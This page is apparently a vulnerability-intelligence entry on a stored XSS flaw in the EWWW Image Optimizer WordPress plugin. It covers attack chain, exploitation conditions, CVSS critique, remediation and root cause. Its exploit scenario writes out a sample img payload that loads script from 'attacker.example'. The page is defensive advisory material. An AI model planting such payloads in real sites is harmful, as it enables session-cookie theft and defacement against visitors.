Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconObtain or register contributor-level WordPress account
-
DeliveryEmbed crafted img element with data-script in post content
-
ExploitVictim user loads the injected page
-
Installlazysizes ls.unveilhooks reads data-script attribute without validation
-
C2Script element dynamically inserted into victim DOM
-
ExecuteAttacker JavaScript executes in victim browser context
-
ImpactExfiltrate session tokens or perform defacement
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the attacker to control at minimum a contributor-level WordPress account on the target site - this is the only meaningful prerequisite and the primary barrier to exploitation. The EWWW Image Optimizer lazy-load feature must be enabled (it is on by default after installation). The target site must be running plugin version 8.7.3 or earlier. Victim users do not need to take any specific action beyond browsing to the page containing the malicious post content - the payload fires passively on ordinary page load. Exploitation is strictly limited to client-side impact (JavaScript execution in the victim's browser); this vector does not provide server-side code execution or privilege escalation on the WordPress host. Sites that enforce strict contributor account vetting or disable public user registration substantially reduce their exposure, as credential acquisition is the only real barrier. |
| Impact | The provided CVSS vector (AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N, base 6.4) contains a metric inconsistency that should be verified with the vendor: the UI:N designation implies no user interaction is required, yet the vulnerability fires only when a victim navigates to the injected page - behavior CVSS 3.1 guidelines classify as UI:R. Correcting to UI:R reduces the base score to approximately 5.4, which more accurately reflects real-world exploitability. The contributor-level authentication prerequisite (PR:L) is the principal limiting factor; sites that allow open contributor registration face substantially elevated risk because that credential barrier is trivially removed. EPSS data was not provided, and the vulnerability does not appear in the CISA KEV catalog, so no confirmed active exploitation exists at time of analysis. SSVC alignment suggests a 'track' or 'attend' disposition: exploitation is technically feasible but not automatable at scale without first obtaining contributor credentials, and technical impact is client-side only with no server-side escalation path. The publicly visible patch commit exposes the exact exploit mechanic - embedding a data-script attribute on a lazyload-classed element - which modestly lowers the bar for targeted exploitation. Overall risk is genuine medium severity: real and reproducible impact, bounded by the authentication prerequisite. |
| Exploit ScenarioDerived | An attacker registers or compromises a contributor-level WordPress account on the target site and creates a post containing an img element such as <img class='lazyload' data-script='https://attacker.example/payload.js'>. Any visitor who subsequently loads that page triggers the lazysizes ls.unveilhooks addon, which injects a script tag loading the attacker's JavaScript, enabling session cookie theft, credential harvesting, or UI defacement in the victim's browser. No confirmed public proof-of-concept exists, but the fix commit makes the vulnerable code path and exploitation technique fully transparent to any reader. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 19, 2026
Stored XSS in the EWWW Image Optimizer WordPress plugin (all versions through 8.7.3) lets authenticated attackers holding contributor-level accounts inject arbitrary JavaScript that executes silently in every subsequent visitor's browser. The exploit embeds a crafted img element with class='lazyload' and a data-script attribute pointing to an attacker-controlled URL in post content; the plugin's bundled lazysizes ls.unveilhooks addon then dynamically inserts a script element into the DOM at page-view time with no domain validation. No public exploit has been identified at time of analysis and the CVE is absent from the CISA KEV catalog, though the fix commit fully exposes the exploitation mechanic.
RemediationAI
The primary remediation is to update EWWW Image Optimizer to the version incorporating fix commit 4488aafaee9212db370a5ed2dcb9bad7912b897d (https://github.com/nosilver4u/ewww-image-optimizer/commit/4488aafaee9212db370a5ed2dcb9bad7912b897d), which adds a domain allowlist enforced both server-side via the eio_lazy_safe_domains WordPress filter and client-side via window.lazySizesConfig.safeDomains. The exact WordPress.org release version containing this fix is not confirmed in available data - the commit increments the internal version constant to 873.05 (potentially an interim build) - so administrators should verify the installed plugin version against the official changelog before considering the update complete. As an immediate compensating control, disabling the lazy-load feature in EWWW Image Optimizer settings eliminates the vulnerable code path entirely at the cost of losing lazy-loading performance benefits. Independently, restricting contributor-level account registration (Settings > General > Membership) removes the authentication prerequisite and is advisable regardless of patch status.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The root cause is CWE-79 (Stored XSS - Improper Neutralization of Input During Web Page Generation). The affected product is the EWWW Image Optimizer plugin by nosilver4u (CPE: cpe:2.3:a:nosilver4u:ewww_image_optimizer:*:*:*:*:*:*:*:*). The vulnerable component is the lazysizes ls.unveilhooks JavaScript addon bundled with the plugin. At lines L116 and L178 of includes/ls.unveilhooks.js, the addon listens for the lazybeforeunveil DOM event and, upon finding a data-script attribute on any class='lazyload' element, calls an internal createScript helper that constructs a new script DOM element whose src is set to the raw, unvalidated attribute value. The PHP-side code in classes/class-lazy-load.php (lines L496 and L1679) passes the data-script value through the lazy-load rewriting pipeline without sanitizing it, completing the server-to-client injection path. The fix in commit 4488aafaee9212db370a5ed2dcb9bad7912b897d introduces a WordPress filter (eio_lazy_safe_domains) exposing an allowed_domains array, serializes it to the frontend as eio_lazy_vars.safe_domains, and enforces a window.lazySizesConfig.safeDomains allowlist check in both the pre-compiled and minified lazysizes bundles before any script element is created.
Know when Ewww Image Optimizer gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Stored XSS fires on victim page-view (UI:R not UI:N); contributor credentials required (PR:L); scope changes to victim browser (S:C); no server availability impact.
Primary rating from Vendor (Wordfence).
CVSS VectorVendor: Wordfence
DescriptionCVE.org
The EWWW Image Optimizer plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'data-script' Lazy Load Attribute in Post Content in all versions up to, and including, 8.7.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The exploit is achieved by embedding a crafted img element with class='lazyload' and a data-script attribute pointing to an attacker-controlled URL in post content, which the plugin's bundled lazysizes ls.unveilhooks addon then uses to dynamically create and insert a script element into the DOM at page view time.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
More in Ewww Image Optimizer
View allStored cross-site scripting in EWWW Image Optimizer before 8.7.7 allows authenticated users with author-level or higher
Stored cross-site scripting in the EWWW Image Optimizer plugin for WordPress (all versions through 8.9.0) lets unauthent
Stored cross-site scripting in the EWWW Image Optimizer WordPress plugin (versions through 8.9.1) allows script content
Cross-site scripting in EWWW Image Optimizer 8.7.7 and earlier allows an authenticated WordPress user with Contributor-l
Reflected cross-site scripting in the EWWW Image Optimizer plugin for WordPress (all versions up to and including 8.7.7)
EUVD-2026-62342
GHSA-pc6p-pvrm-j4j5
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB